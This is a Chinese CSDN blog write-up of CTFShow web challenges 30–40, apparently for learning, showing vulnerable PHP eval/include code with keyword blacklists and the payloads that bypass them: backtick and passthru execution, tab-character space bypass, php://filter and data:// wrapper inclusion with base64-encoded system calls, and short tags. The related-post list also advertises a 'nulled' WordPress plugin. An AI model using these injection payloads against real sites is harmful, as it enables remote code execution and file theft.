CTFShow-WEB入门篇命令执行详细Wp(29-40)_ctfshow-web入门篇详细wp

于 2024-09-05 01:38:26 发布
阅读量495 收藏 5
点赞数 3
文章标签： 前端 android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_86436648/article/details/141907910
版权

Web30：

error\_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg\_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤了flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。

命令执行函数：passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符，PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回

?c=echo `tac f\*`;
?c=passthru('tac f\*');

在这里插入图片描述
在这里插入图片描述

ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b}

Web31：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里又过滤了cat sort 和空格 可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的

c=eval($_GET[cmd]);&cmd=system("tac f\*");
?c=echo (`tac%09f\*`);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ctfshow{e66df5c7-07fb-4e6e-bcbb-46b209308c9d}

web32：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里又过滤了反斜杠，echo，分号，括号 这里可以使用include函数可以不用括号 实现文件包含 配合伪协议 分号可以使用>? 代替

PS：我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的

php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

ctfshow{22eca81d-7663-4150-bc72-57825852ad03}

web33：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤 了双引号 这里还是和上面那题一样的Payload就可以没啥新的知识点！

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述

ctfshow{34945d8a-89fa-48b8-919a-883dc71f740c}

web34：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里多了冒号好像，这里也是一样的Payload，但是我们这里用别的伪协议data://进行测试

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

在这里插入图片描述

ctfshow{1378052e-d82c-446b-9e8d-5c1249ec1001}

web35：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤了，=号和<括号这里可以使用data的base64 把要执行的命令加密了传进去<?php system("cat flag.php");?>

?c=include%0a$\_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$\_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$\_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

ctfshow{2529c316-96d3-442b-9642-2135d3cb9904}

web36：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里过滤了数字0-9 还是可以使用上面的PayLoad只要传参的不是数字就行

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

ctfshow{ece6bc01-4a5c-4d30-b638-c8e77800d3f5}

web37：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里过滤了flag 有文件包含了 可以使用伪协议

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f\*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

在这里插入图片描述
在这里插入图片描述

ctfshow{472ace50-bae6-472b-b9a3-1c9631a2c34d}

web38：

//flag in flag.php
error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里过滤了php和file 所以可以使用短标签‘<?=’是PHP的一个短的开放式标签

?c=data://text/palin,<?php system("tac f\*");?> #（使用不了用第二个我只是进行对比）这里php被过滤了使用不了可以改为短标签
?c=data://text/palin,<?=system("tac f\*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

在这里插入图片描述

ctfshow{42276d5b-2bb2-419a-9eba-7d93704753dd}

web39：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight\_file(\_\_FILE\_\_);
}


?c=data://text/palin,<?=system("tac f\*");?>
?c=data://text/palin,<?php system("tac f\*");?>

在这里插入图片描述

ctfshow{831f530f-d4d3-4ae5-91e7-1e8093d194e8}

web40：

if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤了很多字符 有大写得括号 这里得考点是：无参数文件读取

无参数的意思可以是a()、a(b())或a(b(c()))，但不能是a('b')或a('b','c')，不能带参数

**localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素（单元）,默认取第一个值，

2401_86436648
关注
ctfshow-VIP题目-Web-详细解题思路
01-27
本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制泄露、vim临时文件泄露、cookie泄露、...
ctf刷题 ctfshow【网鼎杯】
weixin_44807430的博客
01-07 3191
纯粹学安全
ctfshow（web入门）
qq_62553635的博客
01-15 2408
第三题 根据提示直接bp抓包 发送到repeater查看响应包 得flag
CTFshow-WEB入门-PHP特性(持续更新)
feng的博客
01-20 5650
web89 利用intval的这个特性： 非空的数组会返回1，因此利用数组绕过。 web90 两种方式： ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”，那么开始和结束将会指字符串的每一行：每一行的开头就是"^"，结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__
CTFShow-Web入门
weixin_58546222的博客
12-04 2407
CTFShow-信息收集
CTFshow菜狗杯-misc-wp（详解 脚本 过程 全）
热门推荐
路baby的博客
02-10 1万+
CTFshow菜狗-misc-wp（详解 脚本 过程 全） 所以misc 杂项签到 损坏的压缩包 谜之栅栏 你会数数吗 你会异或吗flag一分为二 我是谁?? You and me 7.1.05 黑丝白丝还有什么丝? 我吐了你随意这是个什么文件? 抽象画 迅疾响应 我可没有骗你 你被骗了 一闪一闪亮晶晶 一层一层一层地剥开我的◇ 打不开的图片
ctfshow-web41~60-WP
最新发布
02-21
本篇文章主要关注的是CTFShow中的Web挑战第41至60题的解题思路与技术细节，尤其是题目41中的命令注入攻击。 #### 题目背景与目标 在题目41中，参与者需要分析给定的PHP代码片段，理解其逻辑并找到漏洞所在。目标是...
web-product-dark_WordPress_wp_
10-03
【标题】"web-product-dark_WordPress_wp_" 指的是一款专门为RevoSlider设计的WordPress主题，名为"web-product-dark"。RevoSlider是一个流行的WordPress滑块插件，用于创建吸引人的动态内容展示，如产品滑块、图像...
Learn-wp-cli：命令行，WP-CLI和自定义WP-CLI命令入门
02-05
**WP-CLI（WordPress Command Line Interface）是WordPress开发和管理中的一个强大工具，它允许用户通过命令行界面执行各种操作，而无需通过图形用户界面。本教程将带你深入理解WP-CLI，包括如何安装、使用基础命令...
wp-rocket_3.8.3_wp-rocket_
09-29
Wp-Rocket 3.8.3 Nulled
CTFshow-Web入门-Web1-20 （信息收集完结篇）
m0_61155226的博客
03-07 9767
CTFshow-Web入门-Web11-20 （信息收集完结篇）
ctfshow 每周大挑战 极限命令执行
m0_64815693的博客
02-12 4053
ctfshow 每周大挑战 极限命令执行 wp
CTFshow 1-10关
weixin_62369433的博客
11-11 2291
CTFshow 1-10 通关详解
CTFshow 菜狗杯 web方向 全
Jay17的博客
09-01 3479
CTFshow 菜狗杯 web方向 全
CTFShow-WEB入门篇命令执行详细Wp(29-40)
Aluxian_的博客
06-10 2939
【代码】CTFShow-WEB入门篇--命令执行详细Wp。
CTFshow-pwn入门-前置基础pwn13-pwn19
T1ngSh0w的博客
06-17 2064
ctfshow pwn入门-前置基础pwn13-pwn19
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
Jay17的博客
08-16 3826
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全
ctfshow-__萌新隐写
09-14
根据引用中提到的内容，CTFShow "萌心区"WP详解（上）涉及了一些关于萌新认证的内容，其中包括了密码、隐写和杂项等方面的题目。而引用中提到，下载的文件是一个word文件，里面包含了一张图，并且提示说找到了FLAG。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值